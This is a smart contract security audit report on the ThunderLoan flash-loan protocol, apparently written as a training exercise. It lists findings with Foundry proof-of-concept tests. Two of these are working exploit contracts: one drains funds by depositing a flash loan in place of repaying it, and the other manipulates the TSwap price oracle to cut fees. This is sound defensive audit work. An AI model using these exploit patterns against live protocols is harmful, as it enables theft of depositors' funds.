ThunderLoan Audit Report

Version 1.0

scooljinstitute.com

February 9, 2024

ThunderLoan Audit Report

Scoolj Institutte

Feburary 09, 2024

Prepared by: Scoolj Institute Lead Auditors: - Scoolj, Oluwajuwonlo Joseph - Patrick Collins

Table of Contents

    * [M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks
    * [M-2] Centralization Risk for trusted owners
  - Low
    * [L-1] PUSH0 is not supported by all chains
  - Informational
    * [I-1] Event is missing `indexed` fields
    * [I-2] Constants should be defined and used instead of literals
  - [I-3] Functions not used internally could be marked external

Protocol Summary

The `ThunderLoan` protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

What is a flash loan?

A flash loan is a loan that exists for exactly 1 transaction. A user can borrow any amount of assets from the protocol as long as they pay it back in the same transaction. If they don't pay it back, the transaction reverts and the loan is cancelled.

Users additionally have to pay a small fee to the protocol depending on how much money they borrow. To calculate the fee, we're using the famous on-chain TSwap price oracle.

We are planning to upgrade from the current `ThunderLoan` contract to the `ThunderLoanUpgraded` contract. Please include this upgrade in scope of a security review.

Disclaimer

The Scoolj Institute team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6

Scope

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
  - USDC
  - DAI
  - LINK
  - WETH

Actors / Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

This is an interesting protocol but required security review as recommended in this report.

Issues found

Severity	Number of issues Found
High	3
Medium	2
Low	1
Info	3
Gas	0
Total	9

High

[H-1] Erroneous `ThunderLoan::updateExchangeRate` in the `deposit` function causes protocol to think it has more fees than it really does, whuch blocks redemption and incorrectly sets the exchange rate.

Description: In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between assetTokens and underlying tokens. In a way, it's responsible for keeping track of how many fees to give to liquidity providers.

However, the `deposit` function, updates this rate, without collecting any fees!

```
    function deposit(IERC20 token, uint256 amount) external
        revertIfZero(amount) revertIfNotAllowedToken(token) {
         AssetToken assetToken = s_tokenToAssetToken[token];
         uint256 exchangeRate = assetToken.getExchangeRate();
         uint256 mintAmount = (amount * assetToken.
             EXCHANGE_RATE_PRECISION()) / exchangeRate;
         emit Deposit(msg.sender, token, amount);
         assetToken.mint(msg.sender, mintAmount);

         // @audit --high
@>      uint256 calculatedFee = getCalculatedFee(token, amount);
@>      assetToken.updateExchangeRate(calculatedFee);
         token.safeTransferFrom(msg.sender, address(assetToken), amount)
             ;
    }
```

Impact: There are several impacts to this bug. 1. The `redeem` function is blocked, because the protocol thinks the owed tokens is more than it has 2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than deserved.

Proof of Concept: 1. LP deposits 2. User takes out a flash loan 3. It is now impossible for LP to redeem.

Proof of Code

Place the following code into `ThunderLoanTest.t.sol`

```
function testRedeemAfterLoan() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee =  thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);

        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
            amountToBorrow, "");
        vm.stopPrank();


        uint256 amountToRedeem = type(uint256).max;
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, amountToRedeem);

    }
```

Recommended Mitigation:

- Consider removing the incorrect updated exchange rate lines from `deposit`.

Proof of Code

```
    function deposit(IERC20 token, uint256 amount) external
        revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
            EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

        // @audit --high
-         uint256 calculatedFee = getCalculatedFee(token, amount);
-         assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
    }
```

[H-2] Mixing up variable location casuses storage collisions in `ThunderLoad::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing protocol

Description: `ThunderLoan.sol` has two variables in the following order:

```
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee;
```

However, the upgraded contract `ThunderLoanUpgraded.sol` has them in a different order:

```
    uint256 private s_flashLoanFee;
    uint256 public constant  FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the position of storage variables, and removing storage variables for constant variables, breaks the storage locations as well.

Impact: After the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee.

More importantly, the `s_currentlyFlashLoaning` mapping with storage in the wrong storage slot.

Proof of Concept:

PoC

Place the following into `ThunderLoanTest.t.sol`.

```
import {ThunderLoanUpgraded} from "../../src/upgradedProtocol/
    ThunderLoanUpgraded.sol";
.
.
.

 function testUpgradeBreaks() public {
     uint256 feeBeforeUpgrade = thunderLoan.getFee();
```

```
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(upgraded), "");
        uint256 feeAfterUpgrade = thunderLoan.getFee();
        vm.stopPrank();

        console2.log("Fee Before", feeBeforeUpgrade);
        console2.log("Fee After", feeAfterUpgrade);
        assert(feeBeforeUpgrade != feeAfterUpgrade);
      }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended Mitigation: If you must remove the storage variable, leave it as blank as to not mess up the storage slots.

```
-     uint256 private s_flashLoanFee;
-     uint256 public constant  FEE_PRECISION = 1e18;
+     uint256 s_black;
+     uint256 private s_flashLoanFee;
+     uint256 public constant FEE_PRECISION = 1e18;
```

[H-3] By calling a flashloan and then `ThunderLoan::deposit` instead of ThunderLoan::repay users can steal all funds from the protocol

Description: The user calling a `flashloan` function is expected to repay the loan in a single transaction so it is expected to call `repay` function but the user can outsmart the system and call `deposit` function which enable the user to seal the loaned money.

Impact: This will deprived other users their funds deposited in the protocol.

Proof of Concept: place this code in `ThunderLoanTest.t.sol`

PoC

```
        function testUseDepositInsteadOfRepayToSealFunds() public
            setAllowedToken hasDeposits {
           vm.startPrank(user);
           uint256 amountToBorrow = 50e18;
           uint256 fee =  thunderLoan.getCalculatedFee(tokenA,
               amountToBorrow);
           DepositOverRepay dor  = new DepositOverRepay(address(
               thunderLoan));
           tokenA.mint(address(dor), fee);
           thunderLoan.flashloan(address(dor),  tokenA, amountToBorrow, ""
               );
           dor.redeemMoney();
           vm.stopPrank();
           assert(tokenA.balanceOf(address(dor)) >  50e18 + fee);
```

```

    }


contract DepositOverRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    AssetToken assetToken;
    IERC20 s_token;

    constructor(address _thunderLoan){
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation( address token, uint256 amount, uint256
        fee, address, /*initiator*/ bytes calldata /* params*/ )
        external returns(bool){
        s_token = IERC20(token);
        assetToken = thunderLoan.getAssetFromToken(IERC20(token));
        IERC20(token).approve(address(thunderLoan), amount + fee);
        thunderLoan.deposit(IERC20(token), amount + fee);

        return true;

    }

    function redeemMoney() public {
        uint256 amount = assetToken.balanceOf(address(this));
        thunderLoan.redeem(s_token,  amount);
    }


}
```

Recommended Mitigation: - Consider preventing the user from deposting while the flashload is active.

Medium

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. THe price of a token is determined by how many reserves are on either sider of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity provider will drastically reduced fees for providing liquidity.

Proof of Concept: The following all happen in 1 transaction.

1. User takes a flash loan from `ThunderLoan` for 1000 `tokenA`, They are charged the original fee `fee1`. During the flash loan, they do the following:
    1. User sell 1000 `tokenA`, tanking the price.
    2. Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`.
        1. Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool` this second flash loan is substantially cheaper.

```
    function getPriceInWeth(address token) public view returns (uint256) {
        address swapPoolOfToken =  IPoolFactory(s_poolFactory).getPool(token);
@>      return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
    }
```

3. The user then repays the first flash loan, and the repay the second flash loan.

This is the proof of code below. Copy and paste in `ThunderLoanTest.t.sol`

PoC

```
function testOracleManipulation() public {

        // setup
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));

        // create a TSwap Dex between WETH / TokenA
        address tswapPool = pf.createPool(address(tokenA));
        thunderLoan =  ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf));


        // 2.  Fund TSwap
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 100e18);
        tokenA.approve(address(tswapPool), 100e18);
        weth.mint(liquidityProvider, 100e18);
        weth.approve(address(tswapPool), 100e18);
        BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.timestamp);
        vm.stopPrank();
        // Ratio 100 WETH & 100 TokenA

        // 3.  Fund ThunderLoan

        // Set allow
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);
        // Fund
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 1000e18);
        tokenA.approve(address(thunderLoan), 1000e18);
        thunderLoan.deposit(tokenA, 1000e18);
        vm.stopPrank();

        // 100 WETH & 100 TokenA in TSwap
        // 1000 TokenA in ThunderLoan
        // Take out a flash loan of 50 tokenA
        // swap it on the dex, tanking the price > 150 TokenA -> ~80
           WETH
        //  Take out another flash loan of 50 tokenA (and we'll  see
           how much cheaper it is!!)

        // 4.  We are going to take out 2 flash loan
        //      a.  To nuke the price of the Weth/tokenA on TSwap
        //      b.  To show that doing so greatly reduces the fees we
           pay on ThunderLoan

        uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
           100e18);
        console2.log("Normal Fee is :", normalFeeCost);


        uint256 amountToBorrow = 50e18; // we gonna d,o this twice

        MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver
           (address(tswapPool),  address(thunderLoan), address(
           thunderLoan.getAssetFromToken(tokenA)));

        vm.startPrank(user);
        tokenA.mint(address(flr), 100e18);
        thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "")
           ;
        vm.stopPrank();

        uint256 attackFee =  flr.feeOne() + flr.feeTwo();
        console2.log("Attack Fee is:", attackFee);

        assert(attackFee < normalFeeCost);
    }


```

```
contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
    ThunderLoan  thunderLoan;
    address repayAddress;
    BuffMockTSwap tswapPool;
    bool attacked;
    uint256 public feeOne;
    uint256 public feeTwo;



    constructor(address _tswapPool, address _thunderLoan, address
       _repayAddress){
        tswapPool = BuffMockTSwap(_tswapPool);
        thunderLoan =  ThunderLoan(_thunderLoan);
        repayAddress =  _repayAddress;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /*initiator*/
        bytes calldata /*params*/
    )
        external
        returns (bool){

            if(!attacked) {
            // 1.  Swap TokenA borrowed for WETH
            // 2.  Take out ANOTHER flash loan. to show the difference

            feeOne = fee;
            attacked =  true;
            uint256 wethBought = tswapPool.getOutputAmountBasedOnInput
                (50e18, 100e18, 100e18);
            IERC20(token).approve(address(tswapPool), 50e18);

            // Tanks the price!!
            tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
                wethBought, block.timestamp);
            // we call a second flash loan!!!
            thunderLoan.flashloan(address(this), IERC20(token), amount,
                 "");
            // repay
            // IERC20(token).approve(address(thunderLoan), amount + fee
                );
            // thunderLoan.repay(IERC20(token), amount + fee);
            IERC20(token).transfer(address(repayAddress), amount + fee)
                ;

            }
            else {
                // calculate the fee and repay
                feeTwo = fee;
                // repay
                // IERC20(token).approve(address(thunderLoan), amount +
                     fee);
                // thunderLoan.repay(IERC20(token), amount + fee);
                IERC20(token).transfer(address(repayAddress), amount +
                    fee);
            }

            return true;

        }
}
```

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.

[M-2] Centralization Risk for trusted owners

Description: Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

- Found in src/protocol/ThunderLoan.sol Line: 239

```
    function setAllowedToken(IERC20 token, bool allowed) external
        onlyOwner returns (AssetToken) {
```

- Found in src/protocol/ThunderLoan.sol Line: 265

```
    function updateFlashLoanFee(uint256 newFee) external onlyOwner
         {
```

- Found in src/protocol/ThunderLoan.sol Line: 292

```
    function _authorizeUpgrade(address newImplementation) internal
         override onlyOwner { }
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 237

```
    function setAllowedToken(IERC20 token, bool allowed) external
        onlyOwner returns (AssetToken) {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 266

```
    function updateFlashLoanFee(uint256 newFee) external onlyOwner
         {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 289

```
    function _authorizeUpgrade(address newImplementation) internal
        override onlyOwner { }
```

Low

[L-1] PUSH0 is not supported by all chains

Description: Solc compiler version 0.8.20 switches the default target EVM version to Shanghai, which means that the generated bytecode will include PUSH0 opcodes. Be sure to select the appropriate EVM version in case you intend to deploy on a chain other than mainnet like L2 chains that may not support PUSH0, otherwise deployment of your contracts will fail.

- Found in src/interfaces/IFlashLoanReceiver.sol Line: 2

  ```
  pragma solidity 0.8.20;
  ```

- Found in src/interfaces/IPoolFactory.sol Line: 2

  ```
  pragma solidity 0.8.20;
  ```

- Found in src/interfaces/ITSwapPool.sol Line: 2

  ```
  pragma solidity 0.8.20;
  ```

- Found in src/interfaces/IThunderLoan.sol Line: 2

  ```
  pragma solidity 0.8.20;
  ```

- Found in src/protocol/AssetToken.sol Line: 2

  ```
  pragma solidity 0.8.20;
  ```

- Found in src/protocol/OracleUpgradeable.sol Line: 2

  ```
  pragma solidity 0.8.20;
  ```

- Found in src/protocol/ThunderLoan.sol Line: 64

  ```
  pragma solidity 0.8.20;
  ```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 64

  ```
  pragma solidity 0.8.20;
  ```

Informational

[I-1] Event is missing `indexed` fields

Description: Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

- Found in src/protocol/AssetToken.sol Line: 31

```
    event ExchangeRateUpdated(uint256 newExchangeRate);
```

- Found in src/protocol/ThunderLoan.sol Line: 105

```
    event Deposit(address indexed account, IERC20 indexed token,
        uint256 amount);
```

- Found in src/protocol/ThunderLoan.sol Line: 106

```
    event AllowedTokenSet(IERC20 indexed token, AssetToken indexed
         asset, bool allowed);
```

- Found in src/protocol/ThunderLoan.sol Line: 107

```
    event Redeemed(
```

- Found in src/protocol/ThunderLoan.sol Line: 110

```
    event FlashLoan(address indexed receiverAddress, IERC20
        indexed token, uint256 amount, uint256 fee, bytes params);
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 105

```
    event Deposit(address indexed account, IERC20 indexed token,
        uint256 amount);
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 106

```
    event AllowedTokenSet(IERC20 indexed token, AssetToken indexed
         asset, bool allowed);
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 107

```
    event Redeemed(
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 110

```
    event FlashLoan(address indexed receiverAddress, IERC20
       indexed token, uint256 amount, uint256 fee, bytes params);
```

[I-2] Constants should be defined and used instead of literals

- Found in src/protocol/ThunderLoan.sol Line: 144

```
        s_feePrecision = 1e18;
```

- Found in src/protocol/ThunderLoan.sol Line: 145

```
        s_flashLoanFee = 3e15; // 0.3% ETH fee
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 144

```
        s_flashLoanFee = 3e15; // 0.3% ETH fee
```

[I-3] Functions not used internally could be marked external

- Found in src/protocol/ThunderLoan.sol Line: 231

```
    function repay(IERC20 token, uint256 amount) public {
```

- Found in src/protocol/ThunderLoan.sol Line: 276

```
    function getAssetFromToken(IERC20 token) public view returns (
       AssetToken) {
```

- Found in src/protocol/ThunderLoan.sol Line: 280

```
    function isCurrentlyFlashLoaning(IERC20 token) public view
       returns (bool) {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 229

```
    function repay(IERC20 token, uint256 amount) public {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 277

```
    function getAssetFromToken(IERC20 token) public view returns (
       AssetToken) {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 281

```
    function isCurrentlyFlashLoaning(IERC20 token) public view
       returns (bool) {
```